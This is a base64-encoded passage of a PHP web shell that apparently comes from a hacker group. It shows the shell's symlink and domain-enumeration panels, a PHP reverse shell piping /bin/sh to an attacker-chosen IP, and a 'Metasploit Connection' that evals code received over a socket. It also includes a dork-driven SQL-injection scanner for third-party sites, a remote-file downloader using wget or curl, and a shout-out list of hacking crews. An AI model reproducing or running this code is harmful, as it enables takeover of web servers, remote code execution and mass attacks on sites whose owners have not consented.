ogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kc3RyaW5nWzFdWzBdLic8L2Rpdj4nOw0KfQ0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxkaXYgY2xhc3M9J2RvbSc+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRzdHJpbmdbMV1bMF0uJy8+Jy4kbmFtZS4nIDwvYT4gPC9kaXY+DQo8L3RkPg0KDQo8dGQ+DQonLiRVSURbJ25hbWUnXS4iDQo8L3RkPg0KDQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJFVJRFsnbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjwvdHI+PC9kaXY+ICI7DQpmbHVzaCgpOw0KfQ0KfQ0KfQ0KfQ0KDQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgDQoNCn0NCg0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW4nKSkNCnsJDQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PWRvbWFpbiIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCg0KZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT4rLS09WyBsb2NhbCBkb21haW4gdmlld2VyIF09LS0rPC9oMT48L2NlbnRlcj48YnI+PGJyPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KDQokZmlsZSA9IEBpbXBsb2RlKEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKSk7DQppZighJGZpbGUpeyBkaWUoIiMgY2FuJ3QgUmVhRCAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0NCnByZWdfbWF0Y2hfYWxsKCIjbmFtZWQvKC4qPykuZGIjIiwkZmlsZSAsJHIpOw0KJGRvbWFpbnMgPSBhcnJheV91bmlxdWUoJHJbMV0pOw0KLy9jaGVjaygpOw0KLy9pZihpc3NldCgkX0dFVFsnU2hvd0FsbCddKSkNCnsNCmVjaG8gIjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgd2lkdGg9NTklIGNlbGxwYWRkaW5nPTU+DQo8dHI+PHRkIGNvbHNwYW49Mj5bK10gVGhlcmUgYXJlIDogWyA8Yj4iLmNvdW50KCRkb21haW5zKS4iPC9iPiBdIERvbWFpbjwvdGQ+PC90cj4NCjx0cj48dGQ+RG9tYWluPC90ZD48dGQ+VXNlcjwvdGQ+PC90cj4iOw0KZm9yZWFjaCgkZG9tYWlucyBhcyAkZG9tYWluKXsNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21haW4pKTsNCg0KCQllY2hvICI8dHI+PHRkPiRkb21haW48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOw0KCQl9DQoJZWNobyAiPC90YWJsZT4iOw0KCX0NCg0KZWNobyAnPC9kaXY+JzsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAndG9vbCcpKQ0KewkNCj8+DQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDsgPz4mYW1wO3g9dG9vbCIgbWV0aG9kPSJwb3N0Ij4NCg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8YnI+PGJyPjxicj48Y2VudGVyPjx0YWJsZT48ZGl2IGNsYXNzPSdteWJveCcgYWxpZ249J2NlbnRlcic+PHRkPjxoMj5SZXZlcnNlIHNoZWxsICggcGhwICk8L2gyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9ucz0nP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PSd0b29sJz48dGFibGUgY2xhc3M9J3RhYm5ldCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTEwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjx0ZD48aHIgY29sb3I9JyM0QzgzQUYnPjx0ZD48dGQ+PGZvcm0gbWV0aG9kPSdQT1NUJz48dGFibGUgY2xhc3M9J3RhYm5ldCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjExMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj48L3RhYmxlPjxicj48YnIgLz4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO30NCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0JykpDQogICAgew0KICAgID8+DQogICAgPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+Jng9YWJvdXQiIG1ldGhvZD0icG9zdCI+DQogICAgPGNlbnRlcj48YnI+PGJyPjxicj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwZmYwMCI+VGFua3MgdG86PC9mb250PjwvY2VudGVyPjxjZW50ZXI+DQo8bWFycXVlZSBkaXJlY3Rpb249InVwIiBzY3JvbGxhbW91bnQ9IjIiIGJnY29sb3I9IiIgd2lkdGg9IjI1MCIgaGVpZ2h0PSI0MCI+PGNlbnRlcj4NCjxwPjxiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDBmZjAwIj49WyB0ZW1hbi10ZW1hbmt1IF09PGJyPjxicj5HYWJieTxicj5BbnRvbmlvIEhTSDxicj5SMTA8YnI+dzRyMHg8YnI+ZWRlbGxlMDA3PGJyPkJyaWFuIGthbWlrYXplPGJyPkNsb3ZlciBMZXBleDxicj4NClV5YXA8YnI+DQpaaW5iYWQ8YnI+DQpTYW5pIG1hcnBpYzxicj4NCk1hZGFuIEN5YmVyPGJyPg0KQ2FoIEJhZ3VzPGJyPg0KUlBHPGJyPg0KUDRuamllX2Euay5hPGJyPg0KRHdpIFN5bnRpYTxicj4NCj9ydWwgUmluZ2dvJ3M8YnI+DQpUaSdhciBWYXJpYWJlbDxicj4NCkltZWk3PGJyPg0KSG1laTc8YnI+DQpEZSBWaW5jbG91czxicj4NCkJsYW5rb24zMzxicj4NCkRvemEgQ3JhY2tlcjxicj4NCllpbmcgQ3JhY2tlcjxicj4NCklyYW5pYW4gSGFja2VyPGJyPg0KRGFuZ2VyIEhhY2tlcjxicj4NCkFkbWluMDc8YnI+DQpaaG91IHlvdTxicj4NCktzYXRyaWEudXM8YnI+DQpDeWJlciBJbmozY3RpMG48YnI+DQpLMmxsMzNkPGJyPg0KU3VsdGFuIEhhaWthbDxicj4NClN5bnRheF9FcnJvcjxicj4NCkFxaXM8YnI+DQpCbGFjayBTaGFkb3c8YnI+DQpjcmFjazk5OTxicj4NCkZuYXRpYyBDcmV3PGJyPg0KQ29yZXRhbiBSaXphbDxicj4NCk1hbGFpa2F0IE1hdXQ8YnI+DQpEYW4gdGVtYW4tdGVtYW4ga3Ugc2VtdWE8YnI+PGJyPg0KPVsgZ3J1cCBoYWNraW5nIF09PGJyPjxicj4NCkJsYWNrIE5ld2JpZSBUZWFtPGJyPg0KM3hwaXJlIEN5YmVyIEFybXk8YnI+DQpIYWNrIEZvcnVtPGJyPg0KSW5kb25lc2lhIEZpZ2h0ZXIgQ3liZXI8YnI+DQpCaWFuZyBLZXJveCBUZWFtPGJyPg0KQW5vbnltb3VzPGJyPkdhemEgSGFja2VyPGJyPkFsYmFuaWFuIEhhY2tlcjxicj5EZXZpbHogYzBkZTxicj5NdXNsaW1zIEN5YmVyIFNoZWxsejxicj4NClgtQ29kZTxicj4NCkluZG9uZXNpYW4gU2VjdXJpdHk8YnI+DQpJbmRvbmVzaWEgQmxhY2sgQ3liZXI8YnI+DQpCLUNvbXBpPGJyPg0KSmFzYWtvbTxicj4NCk1vam9wYWhpdCBGaWdodGVyIEN5YmVyPGJyPg0KTGFwcGlzPGJyPg0KTW9qb3BhaGl0IEN5YmVyIERhcms8YnI+DQpDcmFjayBIYWNrIEZvcnVtPGJyPg0KZGFuIHNlbXVhIGdydXAgaGFja2luZzxicj4NCnlhbmc8YnI+DQpzYXlhIG5hdW5naSBkYW4gc2luZ2dhaGk8YnI+PGJyPjxicj5CeSBYJzFuNzNjdDxicj4NCjwvZm9udD48L2I+PC9wPg0KPC9jZW50ZXI+DQo8L21hcnF1ZWU+PC9jZW50ZXI+PGJyPjxicj48YnI+DQo8P3BocA0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsaS1zY2FubmVyJykpDQp7CQ0KPz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD1zcWxpLXNjYW5uZXIiIG1ldGhvZD0icG9zdCI+DQoNCjw/cGhwDQoNCmVjaG8gJzxicj48YnI+PGNlbnRlcj48Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj48Yj48Zm9udCBjb2xvcj0iZ3JlZW4iPkRvcmsgOiA8L2ZvbnQ+PC9iPiAmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgdmFsdWU9IiIgbmFtZT0iZG9yayIgc3R5bGU9ImNvbG9yOiMwMGZmMDA7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwIiBzaXplPSIyMCIvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHN0eWxlPSJjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMCIgbmFtZT0ic2NhbiIgdmFsdWU9IlNjYW4iPjwvZm9ybT48L2NlbnRlcj4nOw0KDQpvYl9zdGFydCgpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQoNCmlmIChpc3NldCgkX1BPU1RbJ3NjYW4nXSkpIHsNCg0KJGJyb3dzZXIgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQoNCiRmaXJzdCA9ICJzdGFydGdvb2dsZS5zdGFydHBhZ2luYS5ubC9pbmRleC5waHA/cT0iOw0KJHNlYyA9ICImc3RhcnQ9IjsNCiRyZWcgPSAnLzxwIGNsYXNzPSJnIj48YSBocmVmPSIoLiopIiB0YXJnZXQ9Il9zZWxmIiBvbmNsaWNrPSIvJzsNCg0KZm9yKCRpZD0wIDsgJGlkPD0zMDsgJGlkKyspew0KJHBhZ2U9JGlkKjEwOw0KJGRvcms9dXJsZW5jb2RlKCRfUE9TVFsnZG9yayddKTsNCiR1cmwgPSAkZmlyc3QuJGRvcmsuJHNlYy4kcGFnZTsNCg0KJGN1cmwgPSBjdXJsX2luaXQoJHVybCk7DQpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQpjdXJsX3NldG9wdCgkY3VybCxDVVJMT1BUX1VTRVJBR0VOVCwnJGJyb3dzZXIpJyk7DQokcmVzdWx0ID0gY3VybF9leGVjKCRjdXJsKTsNCmN1cmxfY2xvc2UoJGN1cmwpOw0KDQpwcmVnX21hdGNoX2FsbCgkcmVnLCRyZXN1bHQsJG1hdGNoZXMpOw0KfQ0KZm9yZWFjaCgkbWF0Y2hlc1sxXSBhcyAkc2l0ZSl7DQoNCiR1cmwgPSBwcmVnX3JlcGxhY2UoIi89LyIsICI9JyIsICRzaXRlKTsNCiRjdXJsPWN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjdXJsLENVUkxPUFRfVVJMLCR1cmwpOw0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9VU0VSQUdFTlQsJyRicm93c2VyKScpOw0KY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9USU1FT1VULCc1Jyk7DQokR0VUPWN1cmxfZXhlYygkY3VybCk7IA0KaWYgKHByZWdfbWF0Y2goIi9lcnJvciBpbiB5b3VyIFNRTCBzeW50YXh8bXlzcWxfZmV0Y2hfYXJyYXkoKXxleGVjdXRlIHF1ZXJ5fG15c3FsX2ZldGNoX29iamVjdCgpfG15c3FsX251bV9yb3dzKCl8bXlzcWxfZmV0Y2hfYXNzb2MoKXxteXNxbF9mZXRjaCYjODIwMztfcm93KCl8U0VMRUNUICogDQoNCkZST018c3VwcGxpZWQgYXJndW1lbnQgaXMgbm90IGEgdmFsaWQgTXlTUUx8U3ludGF4IGVycm9yfEZhdGFsIGVycm9yL2kiLCRHRVQpKSB7IA0KZWNobyAnPGNlbnRlcj48Yj48Zm9udCBjb2xvcj0iI0UxMDAwMCI+Rm91bmQgOiA8L2ZvbnQ+PGEgaHJlZj0iJy4kdXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiR1cmwuJzwvYT48Zm9udCBjb2xvcj0jRkYwMDAwPiAmIzYwOy0tIFNRTEkgVnVsbiANCg0KRm91bmQuLjwvZm9udD48L2I+PC9jZW50ZXI+JzsNCm9iX2ZsdXNoKCk7Zmx1c2goKTsgDQp9ZWxzZXsgDQplY2hvICc8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj48Yj4nLiR1cmwuJzwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9IiMwRkZGMTYiPiAmIzYwOy0tIE5vdCBWdWxuPC9mb250PjwvY2VudGVyPic7DQpvYl9mbHVzaCgpO2ZsdXNoKCk7IA0KfQ0Kb2JfZmx1c2goKTtmbHVzaCgpOw0KfQ0Kb2JfZmx1c2goKTtmbHVzaCgpOw0KfQ0Kb2JfZmx1c2goKTtmbHVzaCgpOw0KfQ0KDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3VwbG9hZCcpKXsgDQppZihpc3NldCgkX1BPU1RbJ3VwbG9hZGNvbXAnXSkpew0KCWlmKGlzX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKSl7DQoJCSRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTsNCgkJJGZuYW1lID0gJF9GSUxFU1snZmlsZSddWyduYW1lJ107DQoJCSR0bXBfbmFtZSA9ICRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXTsNCgkJJHBpbmRhaCA9ICRwYXRoLiRmbmFtZTsNCgkJJHN0YXQgPSBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkcGluZGFoKTsJCQ0KCQlpZiAoJHN0YXQpIHsNCgkJCSRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjsNCgkJfQ0KCQllbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOw0KCX0NCgllbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkZm5hbWUiOw0KfQ0KZWxzZWlmKGlzc2V0KCRfUE9TVFsndXBsb2FkdXJsJ10pKXsNCgkkcGlsaWhhbiA9IHRyaW0oJF9QT1NUWydwaWxpaGFuJ10pOw0KCSR3dXJsID0gdHJpbSgkX1BPU1RbJ3d1cmwnXSk7DQoJJHBhdGggPSBtYWdpY2Jvb20oJF9QT1NUWydwYXRoJ10pOw0KCSRuYW1hZmlsZSA9IGRvd25sb2FkKCRwaWxpaGFuLCR3dXJsKTsNCgkkcGluZGFoID0gJHBhdGguJG5hbWFmaWxlOw0KCWlmKGlzX2ZpbGUoJHBpbmRhaCkpIHsNCgkJJG1zZyA9ICJmaWxlIHVwbG9hZGVkIHRvICRwaW5kYWgiOw0KCX0NCgllbHNlICRtc2cgPSAiZmFpbGVkIHRvIHVwbG9hZCAkbmFtYWZpbGUiOw0KDQp9DQo/Pg0KPGZvcm0gYWN0aW9uPSI/eT08P3BocCBlY2hvICRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPg0KPHRyPjx0aCBjb2xzcGFuPSIyIj5VcGxvYWQgZnJvbSBjb21wdXRlcjwvdGg+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0iMiI+PHAgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHN0eWxlPSJjb2xvcjojMDAwMDAwOyIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWRjb21wIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9wPjwvdGQ+DQo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDsgPz4iIC8+PC90ZD48L3RyPg0KPC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPHRhYmxlIGNsYXNzPSJ0YWJuZXQiIHN0eWxlPSJ3aWR0aDozMjBweDtwYWRkaW5nOjAgMXB4OyI+DQo8dHI+PHRoIGNvbHNwYW49IjIiPlVwbG9hZCBmcm9tIHVybDwvdGg+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOyA/PiZhbXA7eD11cGxvYWQiPg0KPHRhYmxlPjx0cj48dGQ+dXJsPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9Ind1cmwiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJodHRwOi8vd3d3LnNvbWUtY29kZS9leHBsb2l0cy5jIj48L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDsgPz4iIC8+PC90ZD48L3RyPg0KPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPg0KPG9wdGlvbiB2YWx1ZT0id3dnZXQiPndnZXQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3ZmV0Y2giPmZldGNoPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJ3Z2V0Ij5HRVQ8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IndjdXJsIj5jdXJsPC9vcHRpb24+DQo8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsY